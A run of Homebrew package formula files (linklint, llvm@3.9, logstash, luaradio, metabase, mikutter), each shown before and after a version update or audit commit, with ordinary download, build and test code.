end end
class Linklint < Formula desc "Link checker and web site maintenance tool" homepage "http://linklint.org" url "http://linklint.org/download/linklint-2.3.5.tar.gz" sha256 "ecaee456a3c2d6a3bd18a580d6b09b6b7b825df3e59f900270fe3f84ec3ac9c7" bottle :unneeded devel do url "http://linklint.org/download/linklint-2.4.beta.tar.gz" sha256 "e06ba7aef6c34a80a71bf3e463ca8b470384ebfb16cedfba30219f8a56762d55" end def install mv "READ_ME.txt", "README" unless build.devel? # fix version number reported by linklint -version in beta # note, upstream is abandoned, so inreplace instead of patch inreplace "linklint-#{version}", "2.3.1", version if build.devel? doc.install "README" bin.install "linklint-#{version}" => "linklint" end test do (testpath/"index.html").write('<a href="/">Home</a>') system "#{bin}/linklint", "/" end end linklint: audit fixes Closes Homebrew/homebrew#49981. Signed-off-by: Dominyk Tiller <53e438f55903875d07efdd98a8aaf887e7208dd3@gmail.com> class Linklint < Formula desc "Link checker and web site maintenance tool" homepage "http://linklint.org" url "http://linklint.org/download/linklint-2.3.5.tar.gz" sha256 "ecaee456a3c2d6a3bd18a580d6b09b6b7b825df3e59f900270fe3f84ec3ac9c7" devel do url "http://linklint.org/download/linklint-2.4.beta.tar.gz" sha256 "e06ba7aef6c34a80a71bf3e463ca8b470384ebfb16cedfba30219f8a56762d55" end bottle :unneeded def install mv "READ_ME.txt", "README" unless build.devel? # fix version number reported by linklint -version in beta # note, upstream is abandoned, so inreplace instead of patch inreplace "linklint-#{version}", "2.3.1", version if build.devel? doc.install "README" bin.install "linklint-#{version}" => "linklint" end test do (testpath/"index.html").write('<a href="/">Home</a>') system "#{bin}/linklint", "/" end end
class LlvmAT39 < Formula desc "Next-gen compiler infrastructure" homepage "https://llvm.org/" url "https://releases.llvm.org/3.9.1/llvm-3.9.1.src.tar.xz" sha256 "1fd90354b9cf19232e8f168faf2220e79be555df3aa743242700879e8fd329ee" revision 2 bottle do cellar :any rebuild 1 sha256 "0a9b15fb4f4633f7758671d0ced83b54333b58229a2b24905aa7d5f4fe49cfd9" => :mojave sha256 "341efc104ef59aa23177e257615cef092ec8f67845b7235a87e8ad1ae210b53c" => :high_sierra sha256 "621531bbbc72bb0ffe01e25b3cc6beb2f51f9738aafa6ee52ecc9b3296ba0db3" => :sierra end keg_only :versioned_formula depends_on "cmake" => :build depends_on "libffi" resource "clang" do url "https://releases.llvm.org/3.9.1/cfe-3.9.1.src.tar.xz" sha256 "e6c4cebb96dee827fa0470af313dff265af391cb6da8d429842ef208c8f25e63" end resource "clang-extra-tools" do url "https://releases.llvm.org/3.9.1/clang-tools-extra-3.9.1.src.tar.xz" sha256 "29a5b65bdeff7767782d4427c7c64d54c3a8684bc6b217b74a70e575e4813635" end resource "compiler-rt" do url "https://releases.llvm.org/3.9.1/compiler-rt-3.9.1.src.tar.xz" sha256 "d30967b1a5fa51a2503474aacc913e69fd05ae862d37bf310088955bdb13ec99" end resource "libcxx" do url "https://releases.llvm.org/3.9.1/libcxx-3.9.1.src.tar.xz" sha256 "25e615e428f60e651ed09ffd79e563864e3f4bc69a9e93ee41505c419d1a7461" end resource "libunwind" do url "https://releases.llvm.org/3.9.1/libunwind-3.9.1.src.tar.xz" sha256 "0b0bc73264d7ab77d384f8a7498729e3c4da8ffee00e1c85ad02a2f85e91f0e6" end resource "lld" do url "https://releases.llvm.org/3.9.1/lld-3.9.1.src.tar.xz" sha256 "48e128fabb2ddaee64ecb8935f7ac315b6e68106bc48aeaf655d179c65d87f34" end resource "lldb" do url "https://releases.llvm.org/3.9.1/lldb-3.9.1.src.tar.xz" sha256 "7e3311b2a1f80f4d3426e09f9459d079cab4d698258667e50a46dccbaaa460fc" end resource "openmp" do url "https://releases.llvm.org/3.9.1/openmp-3.9.1.src.tar.xz" sha256 "d23b324e422c0d5f3d64bae5f550ff1132c37a070e43c7ca93991676c86c7766" end resource "polly" do url "https://releases.llvm.org/3.9.1/polly-3.9.1.src.tar.xz" sha256 "9ba5e61fc7bf8c7435f64e2629e0810c9b1d1b03aa5b5605b780d0e177b4cb46" end def install # Apple's libstdc++ is too old to build LLVM ENV.libcxx if ENV.compiler == :clang (buildpath/"tools/clang").install resource("clang") (buildpath/"tools/clang/tools/extra").install resource("clang-extra-tools") (buildpath/"projects/openmp").install resource("openmp") (buildpath/"projects/libcxx").install resource("libcxx") (buildpath/"projects/libunwind").install resource("libunwind") (buildpath/"tools/lld").install resource("lld") (buildpath/"tools/polly").install resource("polly") (buildpath/"projects/compiler-rt").install resource("compiler-rt") # compiler-rt has some iOS simulator features that require i386 symbols # I'm assuming the rest of clang needs support too for 32-bit compilation # to work correctly, but if not, perhaps universal binaries could be # limited to compiler-rt. llvm makes this somewhat easier because compiler-rt # can almost be treated as an entirely different build from llvm. ENV.permit_arch_flags args = %W[ -DLIBOMP_ARCH=x86_64 -DLINK_POLLY_INTO_TOOLS=ON -DLLVM_BUILD_EXTERNAL_COMPILER_RT=ON -DLLVM_BUILD_LLVM_DYLIB=ON -DLLVM_ENABLE_EH=ON -DLLVM_ENABLE_FFI=ON -DLLVM_ENABLE_LIBCXX=ON -DLLVM_ENABLE_RTTI=ON -DLLVM_INCLUDE_DOCS=OFF -DLLVM_INSTALL_UTILS=ON -DLLVM_OPTIMIZED_TABLEGEN=ON -DLLVM_TARGETS_TO_BUILD=all -DWITH_POLLY=ON -DFFI_INCLUDE_DIR=#{Formula["libffi"].opt_lib}/libffi-#{Formula["libffi"].version}/include -DFFI_LIBRARY_DIR=#{Formula["libffi"].opt_lib} -DLLVM_CREATE_XCODE_TOOLCHAIN=ON ] mkdir "build" do system "cmake", "-G", "Unix Makefiles", "..", *(std_cmake_args + args) system "make" system "make", "install" system "make", "install-xcode-toolchain" end (share/"clang/tools").install Dir["tools/clang/tools/scan-{build,view}"] # scan-build is in Perl, so the @ in our path needs to be escaped inreplace "#{share}/clang/tools/scan-build/bin/scan-build", "$RealBin/bin/clang", "#{bin}/clang".gsub("@", "\\@") bin.install_symlink share/"clang/tools/scan-build/bin/scan-build", share/"clang/tools/scan-view/bin/scan-view" man1.install_symlink share/"clang/tools/scan-build/man/scan-build.1" # install llvm python bindings (lib/"python2.7/site-packages").install buildpath/"bindings/python/llvm" (lib/"python2.7/site-packages").install buildpath/"tools/clang/bindings/python/clang" end def caveats; <<~EOS LLVM executables are installed in #{opt_bin}. Extra tools are installed in #{opt_pkgshare}. To use the bundled libc++ please add the following LDFLAGS: LDFLAGS="-L#{opt_lib} -Wl,-rpath,#{opt_lib}" EOS end test do assert_equal prefix.to_s, shell_output("#{bin}/llvm-config --prefix").chomp (testpath/"omptest.c").write <<~EOS #include <stdlib.h> #include <stdio.h> #include <omp.h> int main() { #pragma omp parallel num_threads(4) { printf("Hello from thread %d, nthreads %d\\n", omp_get_thread_num(), omp_get_num_threads()); } return EXIT_SUCCESS; } EOS system "#{bin}/clang", "-L#{lib}", "-fopenmp", "-nobuiltininc", "-I#{lib}/clang/#{version}/include", "omptest.c", "-o", "omptest" testresult = shell_output("./omptest") sorted_testresult = testresult.split("\n").sort.join("\n") expected_result = <<~EOS Hello from thread 0, nthreads 4 Hello from thread 1, nthreads 4 Hello from thread 2, nthreads 4 Hello from thread 3, nthreads 4 EOS assert_equal expected_result.strip, sorted_testresult.strip (testpath/"test.c").write <<~EOS #include <stdio.h> int main() { printf("Hello World!\\n"); return 0; } EOS (testpath/"test.cpp").write <<~EOS #include <iostream> int main() { std::cout << "Hello World!" << std::endl; return 0; } EOS # Testing Command Line Tools if MacOS::CLT.installed? libclangclt = Dir["/Library/Developer/CommandLineTools/usr/lib/clang/#{MacOS::CLT.version.to_i}*"].last { |f| File.directory? f } system "#{bin}/clang++", "-v", "-nostdinc", "-I/Library/Developer/CommandLineTools/usr/include/c++/v1", "-I#{libclangclt}/include", "-I/usr/include", # need it because /Library/.../usr/include/c++/v1/iosfwd refers to <wchar.h>, which CLT installs to /usr/include "test.cpp", "-o", "testCLT++" assert_includes MachO::Tools.dylibs("testCLT++"), "/usr/lib/libc++.1.dylib" assert_equal "Hello World!", shell_output("./testCLT++").chomp system "#{bin}/clang", "-v", "-nostdinc", "-I/usr/include", # this is where CLT installs stdio.h "test.c", "-o", "testCLT" assert_equal "Hello World!", shell_output("./testCLT").chomp end # Testing Xcode if MacOS::Xcode.installed? libclangxc = Dir["#{MacOS::Xcode.toolchain_path}/usr/lib/clang/#{DevelopmentTools.clang_version}*"].last { |f| File.directory? f } system "#{bin}/clang++", "-v", "-nostdinc", "-I#{MacOS::Xcode.toolchain_path}/usr/include/c++/v1", "-I#{libclangxc}/include", "-I#{MacOS.sdk_path}/usr/include", "test.cpp", "-o", "testXC++" assert_includes MachO::Tools.dylibs("testXC++"), "/usr/lib/libc++.1.dylib" assert_equal "Hello World!", shell_output("./testXC++").chomp system "#{bin}/clang", "-v", "-nostdinc", "-I#{MacOS.sdk_path}/usr/include", "test.c", "-o", "testXC" assert_equal "Hello World!", shell_output("./testXC").chomp end # link against installed libc++ # related to https://github.com/Homebrew/legacy-homebrew/issues/47149 system "#{bin}/clang++", "-v", "-nostdinc", "-std=c++11", "-stdlib=libc++", "-I#{MacOS::Xcode.toolchain_path}/usr/include/c++/v1", "-I#{libclangxc}/include", "-I#{MacOS.sdk_path}/usr/include", "-L#{lib}", "-Wl,-rpath,#{lib}", "test.cpp", "-o", "test" assert_includes MachO::Tools.dylibs("test"), "#{opt_lib}/libc++.1.dylib" assert_equal "Hello World!", shell_output("./test").chomp end end llvm@3.9: delete
require 'formula' class Logstash < Formula homepage 'http://logstash.net/' url 'https://download.elasticsearch.org/logstash/logstash/logstash-1.3.2-flatjar.jar' sha1 'd49d48e0a9590eccb3b8acaa368c01f18125f33d' def install libexec.install "logstash-#{version}-flatjar.jar" bin.write_jar_script libexec/"logstash-#{version}-flatjar.jar", "logstash" end end logstash 1.3.3 Closes Homebrew/homebrew#26093. Signed-off-by: Mike McQuaid <a17fed27eaa842282862ff7c1b9c8395a26ac320@mikemcquaid.com> require 'formula' class Logstash < Formula homepage 'http://logstash.net/' url 'https://download.elasticsearch.org/logstash/logstash/logstash-1.3.3-flatjar.jar' sha1 '8effc7027093188b968fed37513ca647f96d6d8c' def install libexec.install "logstash-#{version}-flatjar.jar" bin.write_jar_script libexec/"logstash-#{version}-flatjar.jar", "logstash" end end
class Luaradio < Formula desc "Lightweight, embeddable flow graph signal processing framework for SDR" homepage "https://luaradio.io/" url "https://github.com/vsergeev/luaradio/archive/v0.7.0.tar.gz" sha256 "7414c7bafc4ca3a9b0ac33e436987080602df53d0476f3618f0f37801e854aa6" license "MIT" head "https://github.com/vsergeev/luaradio.git" bottle do cellar :any sha256 "df3f0b9ba19651e37c5b7c8e6bbe04658f852bd909fcebc14d9c08c9926e1061" => :catalina sha256 "909850451f26146b3c9e65129177afd31a715e463223c2713b414d345929376d" => :mojave sha256 "6d16f13182248aac79fcda6cbc11284ddbfa0e660cb9ba38a4b5e76262113e26" => :high_sierra end depends_on "pkg-config" => :build depends_on "fftw" depends_on "liquid-dsp" depends_on "luajit" def install cd "embed" do # Ensure file placement is compatible with HOMEBREW_SANDBOX. inreplace "Makefile" do |s| s.gsub! "install -d $(DESTDIR)$(INSTALL_CMOD)", "install -d $(PREFIX)/lib/lua/5.1" s.gsub! "$(DESTDIR)$(INSTALL_CMOD)/radio.so", "$(PREFIX)/lib/lua/5.1/radio.so" end system "make", "install", "PREFIX=#{prefix}" end end test do (testpath/"hello").write("Hello, world!") (testpath/"test.lua").write <<~EOS local radio = require('radio') local PrintBytes = radio.block.factory("PrintBytes") function PrintBytes:instantiate() self:add_type_signature({radio.block.Input("in", radio.types.Byte)}, {}) end function PrintBytes:process(c) for i = 0, c.length - 1 do io.write(string.char(c.data[i].value)) end end local source = radio.RawFileSource("hello", radio.types.Byte, 1e6) local sink = PrintBytes() local top = radio.CompositeBlock() top:connect(source, sink) top:run() EOS assert_equal "Hello, world!", shell_output("#{bin}/luaradio test.lua") end end luaradio 0.8.0 Closes #63329. Signed-off-by: Thierry Moisan <8bf87a6c4caed0437859f8c8fafc6782533e4540@gmail.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Luaradio < Formula desc "Lightweight, embeddable flow graph signal processing framework for SDR" homepage "https://luaradio.io/" url "https://github.com/vsergeev/luaradio/archive/v0.8.0.tar.gz" sha256 "db4c29cea0ca3c1d2204ba33efaedb2c6eb29a4a05c34db53e49cb534b4d717c" license "MIT" head "https://github.com/vsergeev/luaradio.git" bottle do cellar :any sha256 "df3f0b9ba19651e37c5b7c8e6bbe04658f852bd909fcebc14d9c08c9926e1061" => :catalina sha256 "909850451f26146b3c9e65129177afd31a715e463223c2713b414d345929376d" => :mojave sha256 "6d16f13182248aac79fcda6cbc11284ddbfa0e660cb9ba38a4b5e76262113e26" => :high_sierra end depends_on "pkg-config" => :build depends_on "fftw" depends_on "liquid-dsp" depends_on "luajit" def install cd "embed" do # Ensure file placement is compatible with HOMEBREW_SANDBOX. inreplace "Makefile" do |s| s.gsub! "install -d $(DESTDIR)$(INSTALL_CMOD)", "install -d $(PREFIX)/lib/lua/5.1" s.gsub! "$(DESTDIR)$(INSTALL_CMOD)/radio.so", "$(PREFIX)/lib/lua/5.1/radio.so" end system "make", "install", "PREFIX=#{prefix}" end end test do (testpath/"hello").write("Hello, world!") (testpath/"test.lua").write <<~EOS local radio = require('radio') local PrintBytes = radio.block.factory("PrintBytes") function PrintBytes:instantiate() self:add_type_signature({radio.block.Input("in", radio.types.Byte)}, {}) end function PrintBytes:process(c) for i = 0, c.length - 1 do io.write(string.char(c.data[i].value)) end end local source = radio.RawFileSource("hello", radio.types.Byte, 1e6) local sink = PrintBytes() local top = radio.CompositeBlock() top:connect(source, sink) top:run() EOS assert_equal "Hello, world!", shell_output("#{bin}/luaradio test.lua") end end
class Metabase < Formula desc "Business intelligence report server" homepage "https://www.metabase.com/" url "https://downloads.metabase.com/v0.42.0/metabase.jar" sha256 "392c91a63256df82edab6c211a94eae3c39ae0ca7f042b3f4fd7fd16deee34e1" license "AGPL-3.0-only" livecheck do url "https://www.metabase.com/start/oss/jar.html" regex(%r{href=.*?/v?(\d+(?:\.\d+)+)/metabase\.jar}i) end bottle do sha256 cellar: :any_skip_relocation, all: "25ef7b5cded9d0ad630d6e5872c41b5bdcf90392e8893e043f74b964cf6056df" end head do url "https://github.com/metabase/metabase.git" depends_on "leiningen" => :build depends_on "node" => :build depends_on "yarn" => :build end # metabase uses jdk.nashorn.api.scripting.JSObject # which is removed in Java 15 depends_on "openjdk@11" def install if build.head? system "./bin/build" libexec.install "target/uberjar/metabase.jar" else libexec.install "metabase.jar" end bin.write_jar_script libexec/"metabase.jar", "metabase", java_version: "11" end plist_options startup: true service do run opt_bin/"metabase" keep_alive true working_dir var/"metabase" log_path var/"metabase/server.log" error_log_path "/dev/null" end test do system bin/"metabase", "migrate", "up" end end metabase: update 0.42.0 bottle. class Metabase < Formula desc "Business intelligence report server" homepage "https://www.metabase.com/" url "https://downloads.metabase.com/v0.42.0/metabase.jar" sha256 "392c91a63256df82edab6c211a94eae3c39ae0ca7f042b3f4fd7fd16deee34e1" license "AGPL-3.0-only" livecheck do url "https://www.metabase.com/start/oss/jar.html" regex(%r{href=.*?/v?(\d+(?:\.\d+)+)/metabase\.jar}i) end bottle do sha256 cellar: :any_skip_relocation, all: "458bae0263ee3ee2f5162a5a2141cc475b30ed3ad421449bd9f4117a09d1f3b0" end head do url "https://github.com/metabase/metabase.git" depends_on "leiningen" => :build depends_on "node" => :build depends_on "yarn" => :build end # metabase uses jdk.nashorn.api.scripting.JSObject # which is removed in Java 15 depends_on "openjdk@11" def install if build.head? system "./bin/build" libexec.install "target/uberjar/metabase.jar" else libexec.install "metabase.jar" end bin.write_jar_script libexec/"metabase.jar", "metabase", java_version: "11" end plist_options startup: true service do run opt_bin/"metabase" keep_alive true working_dir var/"metabase" log_path var/"metabase/server.log" error_log_path "/dev/null" end test do system bin/"metabase", "migrate", "up" end end
class Metabase < Formula desc "Business intelligence report server" homepage "https://www.metabase.com/" url "http://downloads.metabase.com/v0.30.2/metabase.jar" sha256 "5068098aed118b499be0cbbef81f94b2af5ec634bba5467d6fab6b9e7089fd47" head do url "https://github.com/metabase/metabase.git" depends_on "node" => :build depends_on "yarn" => :build depends_on "leiningen" => :build end bottle :unneeded depends_on :java => "1.8" def install if build.head? system "./bin/build" libexec.install "target/uberjar/metabase.jar" else libexec.install "metabase.jar" end (bin/"metabase").write <<~EOS #!/bin/bash export JAVA_HOME="$(#{Language::Java.java_home_cmd("1.8")})" exec java -jar "#{libexec}/metabase.jar" "$@" EOS end plist_options :startup => true, :manual => "metabase" def plist; <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/metabase</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}/metabase</string> <key>StandardOutPath</key> <string>#{var}/metabase/server.log</string> <key>StandardErrorPath</key> <string>/dev/null</string> </dict> </plist> EOS end test do system bin/"metabase", "migrate", "up" end end metabase 0.30.3 (#32091) class Metabase < Formula desc "Business intelligence report server" homepage "https://www.metabase.com/" url "http://downloads.metabase.com/v0.30.3/metabase.jar" sha256 "c432a41ae26c07f8dccb65b6e087e892f32c78bf3351a2684319a137bb4108f1" head do url "https://github.com/metabase/metabase.git" depends_on "node" => :build depends_on "yarn" => :build depends_on "leiningen" => :build end bottle :unneeded depends_on :java => "1.8" def install if build.head? system "./bin/build" libexec.install "target/uberjar/metabase.jar" else libexec.install "metabase.jar" end (bin/"metabase").write <<~EOS #!/bin/bash export JAVA_HOME="$(#{Language::Java.java_home_cmd("1.8")})" exec java -jar "#{libexec}/metabase.jar" "$@" EOS end plist_options :startup => true, :manual => "metabase" def plist; <<~EOS <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>#{plist_name}</string> <key>ProgramArguments</key> <array> <string>#{opt_bin}/metabase</string> </array> <key>RunAtLoad</key> <true/> <key>WorkingDirectory</key> <string>#{var}/metabase</string> <key>StandardOutPath</key> <string>#{var}/metabase/server.log</string> <key>StandardErrorPath</key> <string>/dev/null</string> </dict> </plist> EOS end test do system bin/"metabase", "migrate", "up" end end
class Metabase < Formula desc "Business intelligence report server" homepage "https://www.metabase.com/" url "https://downloads.metabase.com/v0.44.2/metabase.jar" sha256 "23471284af7fdbd9088cbb4f0c6972cacca9a1f155f408b80dbaade08c13480f" license "AGPL-3.0-only" livecheck do url "https://www.metabase.com/start/oss/jar.html" regex(%r{href=.*?/v?(\d+(?:\.\d+)+)/metabase\.jar}i) end bottle do sha256 cellar: :any_skip_relocation, all: "645301fa35f3d2be5c669745bbb52a82da240690e99cbcd56ac954c52090481f" end head do url "https://github.com/metabase/metabase.git" depends_on "leiningen" => :build depends_on "node" => :build depends_on "yarn" => :build end depends_on "openjdk" def install if build.head? system "./bin/build" libexec.install "target/uberjar/metabase.jar" else libexec.install "metabase.jar" end bin.write_jar_script libexec/"metabase.jar", "metabase" end plist_options startup: true service do run opt_bin/"metabase" keep_alive true working_dir var/"metabase" log_path var/"metabase/server.log" error_log_path "/dev/null" end test do system bin/"metabase", "migrate", "up" end end metabase 0.44.3 Closes #110846. Signed-off-by: Daniel Nachun <67d4b1adb270d50ecb7ec053ff144a69f3054d28@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Metabase < Formula desc "Business intelligence report server" homepage "https://www.metabase.com/" url "https://downloads.metabase.com/v0.44.3/metabase.jar" sha256 "ef8fc6d12251bf2062208b02821f4b948345e8c4b952b08a9a77d328f2c8a6bd" license "AGPL-3.0-only" livecheck do url "https://www.metabase.com/start/oss/jar.html" regex(%r{href=.*?/v?(\d+(?:\.\d+)+)/metabase\.jar}i) end bottle do sha256 cellar: :any_skip_relocation, all: "645301fa35f3d2be5c669745bbb52a82da240690e99cbcd56ac954c52090481f" end head do url "https://github.com/metabase/metabase.git" depends_on "leiningen" => :build depends_on "node" => :build depends_on "yarn" => :build end depends_on "openjdk" def install if build.head? system "./bin/build" libexec.install "target/uberjar/metabase.jar" else libexec.install "metabase.jar" end bin.write_jar_script libexec/"metabase.jar", "metabase" end plist_options startup: true service do run opt_bin/"metabase" keep_alive true working_dir var/"metabase" log_path var/"metabase/server.log" error_log_path "/dev/null" end test do system bin/"metabase", "migrate", "up" end end
class Mikutter < Formula desc "Extensible Twitter client" homepage "https://mikutter.hachune.net/" url "https://mikutter.hachune.net/bin/mikutter-4.0.5.tar.gz" sha256 "abd56904cb39c6d3490bc21cc4e40b2c23e93ef7e2a16d27eea43b09ec20dbf6" head "git://mikutter.hachune.net/mikutter.git", :branch => "develop" bottle do cellar :any sha256 "f5a80b458870ced8d7ac5f891c6a2b2c8dfde0e8e80cb1c4ed4f5468e61dff97" => :catalina sha256 "c534514895efea43fe4e2a71debf947b7b366936946436428e0d7abc124cefdd" => :mojave sha256 "c58da76f8142632ae26e718c89f6dd642273a6e8309103a36c23a7421a3c1255" => :high_sierra end depends_on "gobject-introspection" depends_on "gtk+" depends_on "libidn" depends_on "ruby" depends_on "terminal-notifier" uses_from_macos "xz" resource "addressable" do url "https://rubygems.org/downloads/addressable-2.7.0.gem" sha256 "5e9b62fe1239091ea9b2893cd00ffe1bcbdd9371f4e1d35fac595c98c5856cbb" end resource "atk" do url "https://rubygems.org/downloads/atk-3.4.1.gem" sha256 "88240dd7f28f38d05349363585827df2da258412c531744bf18f74e3824a1829" end resource "cairo" do url "https://rubygems.org/downloads/cairo-1.16.5.gem" sha256 "f11f243d74b6902bb0306c860e17b8be530883a617b0ece1abe488ab40085bba" end resource "cairo-gobject" do url "https://rubygems.org/downloads/cairo-gobject-3.4.1.gem" sha256 "4800f1dc9720640060ba63602e235fa5f5b7469434c68788ce3c6f46b56b7d3e" end resource "delayer" do url "https://rubygems.org/downloads/delayer-1.0.2.gem" sha256 "b5bc78b8d1b484021d91ce630e9d10b4a87ccd8925b2760799f3193d38203842" end resource "delayer-deferred" do url "https://rubygems.org/downloads/delayer-deferred-2.1.3.gem" sha256 "cd1464eb228d4c08ba29af200a28892dde32c4d3f39e6fe6300c7a3c148686de" end resource "diva" do url "https://rubygems.org/downloads/diva-1.0.2.gem" sha256 "4f702b8fee7e737847c25324807f47206d4402969f929b2d7976ef531e279417" end resource "gdk_pixbuf2" do url "https://rubygems.org/downloads/gdk_pixbuf2-3.4.1.gem" sha256 "55dd9255105b81954c3f49c0669e26262380eea634b323017454c509ec7f2405" end resource "gettext" do url "https://rubygems.org/gems/gettext-3.3.5.gem" sha256 "955f115e1099ea705949c4e221164efdbbf07ec6e148131a777873c0f419bb04" end resource "gio2" do url "https://rubygems.org/downloads/gio2-3.4.1.gem" sha256 "efd470c1b32641bce0df4ec689a2770d19503a7f98cd5b19eca5acddd6bb72d0" end resource "glib2" do url "https://rubygems.org/downloads/glib2-3.4.1.gem" sha256 "2c60c23752cb62cd82feab5d640844876e6e1a5e2226372d550582eb80f594a1" end resource "gobject-introspection" do url "https://rubygems.org/downloads/gobject-introspection-3.4.1.gem" sha256 "5680367a577bc1d5a0145d8da26a516b946c0c2f14c91f411f5d2d1d23467da8" end resource "gtk2" do url "https://rubygems.org/downloads/gtk2-3.4.1.gem" sha256 "ad8ae7763cc3e8658e8dd4eca31a639880b8d485e2c9d52648fffb60c1435f9d" end resource "httpclient" do url "https://rubygems.org/gems/httpclient-2.8.3.gem" sha256 "2951e4991214464c3e92107e46438527d23048e634f3aee91c719e0bdfaebda6" end resource "instance_storage" do url "https://rubygems.org/gems/instance_storage-1.0.0.gem" sha256 "f41e64da2fe4f5f7d6c8cf9809ef898e660870f39d4e5569c293b584a12bce22" end resource "locale" do url "https://rubygems.org/downloads/locale-2.1.3.gem" sha256 "b6ddee011e157817cb98e521b3ce7cb626424d5882f1e844aafdee3e8b212725" end resource "memoist" do url "https://rubygems.org/downloads/memoist-0.16.2.gem" sha256 "a52c53a3f25b5875151670b2f3fd44388633486dc0f09f9a7150ead1e3bf3c45" end resource "mini_portile2" do url "https://rubygems.org/gems/mini_portile2-2.4.0.gem" sha256 "7e178a397ad62bb8a96977986130dc81f1b13201c6dd95a48bd8cec1dda5f797" end resource "moneta" do url "https://rubygems.org/downloads/moneta-1.2.1.gem" sha256 "a13a7942eef0c8370022305fd009f5ccb4e5af1faf2a85286c0502d6dcd4ee60" end resource "native-package-installer" do url "https://rubygems.org/downloads/native-package-installer-1.0.9.gem" sha256 "80bad0273706eeb4fc49ac8fa589b25eb6728c85a09fd241c8f0f06bdca32c5e" end resource "nokogiri" do url "https://rubygems.org/downloads/nokogiri-1.10.9.gem" sha256 "d562108c5cdf7e9208c267107a0a54581d868689aefed9c5480898bb4033478a" end resource "oauth" do url "https://rubygems.org/gems/oauth-0.5.4.gem" sha256 "3e017ed1c107eb6fe42c977b78c8a8409249869032b343cf2f23ac80d16b5fff" end resource "pango" do url "https://rubygems.org/downloads/pango-3.4.1.gem" sha256 "77e14073e93bbddb53ad6e3debf3e054f5444de4e2748c36cb2ede8741b10cb4" end resource "pkg-config" do url "https://rubygems.org/downloads/pkg-config-1.4.1.gem" sha256 "dca87a58534dfc3ff61c5de1289ed6622a5bd1f5b48fb2dc7a1cc5ef8f6b4ef2" end resource "pluggaloid" do url "https://rubygems.org/gems/pluggaloid-1.2.0.gem" sha256 "108eb89db1cc35f94f69d838f673d9d501b7e1f57e8eec5e200cb1d8a4cc60bf" end resource "public_suffix" do url "https://rubygems.org/downloads/public_suffix-4.0.5.gem" sha256 "efbc976b8f8cd7e2f9387b41ad4dc5447bcc7e862cf3afd909f13b0048a3dc6f" end resource "rake" do url "https://rubygems.org/downloads/rake-13.0.1.gem" sha256 "292a08eb3064e972e3e07e4c297d54a93433439ff429e58a403ae05584fad870" end resource "text" do url "https://rubygems.org/gems/text-1.3.1.gem" sha256 "2fbbbc82c1ce79c4195b13018a87cbb00d762bda39241bb3cdc32792759dd3f4" end resource "typed-array" do url "https://rubygems.org/gems/typed-array-0.1.2.gem" sha256 "891fa1de2cdccad5f9e03936569c3c15d413d8c6658e2edfe439d9386d169b62" end # This is annoying - if the gemfile lists test group gems at all, # even if we've explicitly requested to install without them, # bundle install --cache will fail because it can't find those gems. # Handle this by modifying the gemfile to remove these gems. def gemfile_remove_test! gemfile_lines = [] test_group = false File.read("Gemfile").each_line do |line| line.chomp! # If this is the closing part of the test group, # swallow this line and then allow writing the test of the file. if test_group && line == "end" test_group = false next # If we're still inside the test group, skip writing. elsif test_group next end # If this is the start of the test group, skip writing it and mark # this as part of the group. if line.match? /group :test/ test_group = true else gemfile_lines << line end end File.open("Gemfile", "w") do |gemfile| gemfile.puts gemfile_lines.join("\n") # Unmarked dependency of atk gemfile.puts "gem 'rake','>= 13.0.1'" end end def install (lib/"mikutter/vendor").mkpath (buildpath/"vendor/cache").mkpath resources.each do |r| r.unpack buildpath/"vendor/cache" end gemfile_remove_test! system "bundle", "install", "--local", "--path=#{lib}/mikutter/vendor" rm_rf "vendor" (lib/"mikutter").install "plugin" libexec.install Dir["*"] (bin/"mikutter").write(exec_script) pkgshare.install_symlink libexec/"core/skin" # enable other formulae to install plugins libexec.install_symlink HOMEBREW_PREFIX/"lib/mikutter/plugin" end def exec_script ruby_series = Formula["ruby"].version.to_s.split(".")[0..1].join(".") <<~EOS #!/bin/bash export DISABLE_BUNDLER_SETUP=1 # also include gems/gtk modules from other formulae export GEM_HOME="#{HOMEBREW_PREFIX}/lib/mikutter/vendor/ruby/#{ruby_series}.0" export GTK_PATH="#{HOMEBREW_PREFIX}/lib/gtk-2.0" exec #{which("ruby")} "#{libexec}/mikutter.rb" "$@" EOS end test do (testpath/".mikutter/plugin/test_plugin/test_plugin.rb").write <<~EOS # -*- coding: utf-8 -*- Plugin.create(:test_plugin) do require 'logger' Delayer.new do log = Logger.new(STDOUT) log.info("loaded test_plugin") exit end end # this is needed in order to boot mikutter >= 3.6.0 class Post def self.primary_service nil end end EOS system bin/"mikutter", "plugin_depends", testpath/".mikutter/plugin/test_plugin/test_plugin.rb" system bin/"mikutter", "--plugin=test_plugin", "--debug" end end mikutter 4.0.6 Closes #57478. Signed-off-by: Claudia Pellegrino <e1eca4697f2d36f13cfcfc5dac03666161d5ce1a@users.noreply.github.com> Signed-off-by: Dawid Dziurla <c4a7db180859322ef5630a1dfc2805b5bc97fc25@gmail.com> class Mikutter < Formula desc "Extensible Twitter client" homepage "https://mikutter.hachune.net/" url "https://mikutter.hachune.net/bin/mikutter-4.0.6.tar.gz" sha256 "3ac0292aafbbd6a8f978091244ef20f3911ecb1c26a85e8e3c6ef86211f279cd" head "git://mikutter.hachune.net/mikutter.git", :branch => "develop" bottle do cellar :any sha256 "f5a80b458870ced8d7ac5f891c6a2b2c8dfde0e8e80cb1c4ed4f5468e61dff97" => :catalina sha256 "c534514895efea43fe4e2a71debf947b7b366936946436428e0d7abc124cefdd" => :mojave sha256 "c58da76f8142632ae26e718c89f6dd642273a6e8309103a36c23a7421a3c1255" => :high_sierra end depends_on "gobject-introspection" depends_on "gtk+" depends_on "libidn" depends_on "ruby" depends_on "terminal-notifier" uses_from_macos "xz" resource "addressable" do url "https://rubygems.org/downloads/addressable-2.7.0.gem" sha256 